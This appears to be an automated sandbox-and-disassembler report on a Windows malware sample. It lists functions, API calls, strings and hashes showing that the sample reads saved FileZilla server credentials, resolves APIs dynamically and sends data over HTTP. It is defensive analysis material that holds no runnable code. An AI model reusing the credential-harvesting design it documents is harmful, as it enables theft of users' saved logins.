Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

browser: FileZilla, xrefs: 00410399
<User>, xrefs: 00410250
url: , xrefs: 004103B7
<Port>, xrefs: 00410206
<Host>, xrefs: 004101BC
<Pass encoding="base64">, xrefs: 0041029A
profile: null, xrefs: 004103A8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
password: , xrefs: 0041043B
login: , xrefs: 0041040A

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: f13308eb13abeb77900b74efdbd0cfce152486b44370018a659c36fec8b67708
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: f13308eb13abeb77900b74efdbd0cfce152486b44370018a659c36fec8b67708
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,025EC1D0), ref: 004192B1
GetProcAddress.KERNEL32(77190000,025EC230), ref: 004192CA
GetProcAddress.KERNEL32(77190000,025EC1E8), ref: 004192E2
GetProcAddress.KERNEL32(77190000,025EC260), ref: 004192FA
GetProcAddress.KERNEL32(77190000,025EC200), ref: 00419313
GetProcAddress.KERNEL32(77190000,025E4B28), ref: 0041932B
GetProcAddress.KERNEL32(77190000,025EA5E8), ref: 00419343
GetProcAddress.KERNEL32(77190000,025EA508), ref: 0041935C
GetProcAddress.KERNEL32(77190000,02606620), ref: 00419374
GetProcAddress.KERNEL32(77190000,026066B0), ref: 0041938C
GetProcAddress.KERNEL32(77190000,02606728), ref: 004193A5
GetProcAddress.KERNEL32(77190000,02606758), ref: 004193BD
GetProcAddress.KERNEL32(77190000,025EA668), ref: 004193D5
GetProcAddress.KERNEL32(77190000,02606638), ref: 004193EE
GetProcAddress.KERNEL32(77190000,02606788), ref: 00419406
GetProcAddress.KERNEL32(77190000,025EA608), ref: 0041941E
GetProcAddress.KERNEL32(77190000,026068F0), ref: 00419437
GetProcAddress.KERNEL32(77190000,02606680), ref: 0041944F
GetProcAddress.KERNEL32(77190000,025EA5A8), ref: 00419467
GetProcAddress.KERNEL32(77190000,02606608), ref: 00419480
GetProcAddress.KERNEL32(77190000,025EA6A8), ref: 00419498
LoadLibraryA.KERNEL32(026067D0,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(02606740,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(02606650,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(026068D8,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(02606890,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(76850000,026067E8), ref: 00419512
GetProcAddress.KERNEL32(77040000,026067B8), ref: 00419533
GetProcAddress.KERNEL32(77040000,02606668), ref: 0041954B
GetProcAddress.KERNEL32(75A10000,026066F8), ref: 0041956D
GetProcAddress.KERNEL32(75690000,025EA688), ref: 0041958E
GetProcAddress.KERNEL32(776F0000,025E4B38), ref: 004195AF
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA
F(t, xrefs: 00419551

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: F(t$NtQueryInformationProcess
API String ID: 2238633743-4113152680
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0260ADA0), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0260AE20,?,0260A340,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0260ADF0,00000000,?,025E84A8,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 00405407
------, xrefs: 004052E7
", xrefs: 00405756
", xrefs: 004054D2
------, xrefs: 00405549
", xrefs: 00405614
------, xrefs: 0040568B
--, xrefs: 004052D0

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: bb7fc4e696f29f5ba21758e4b924d8e081b032445cd9c81e652ebb9516fe89ca
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: bb7fc4e696f29f5ba21758e4b924d8e081b032445cd9c81e652ebb9516fe89ca
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0260ADA0), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0260ADE0,00000000,?,025E84A8,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0260AE20,?,0260A340,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

", xrefs: 00405E66
------, xrefs: 00405D9C
", xrefs: 00405D25
XA, xrefs: 004060CA
------, xrefs: 00405C5B
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405AE6

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 974ef60541471f5251777ea60b144edf994a377a0aebfdf0e512de411ba153aa
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 974ef60541471f5251777ea60b144edf994a377a0aebfdf0e512de411ba153aa
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,025E4B48,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 1306551bc6f846a218de714f5abb07f92037ff7388809cddcf60cfaa0557ba95
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 1306551bc6f846a218de714f5abb07f92037ff7388809cddcf60cfaa0557ba95
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,025E8598,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,025E4B48,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

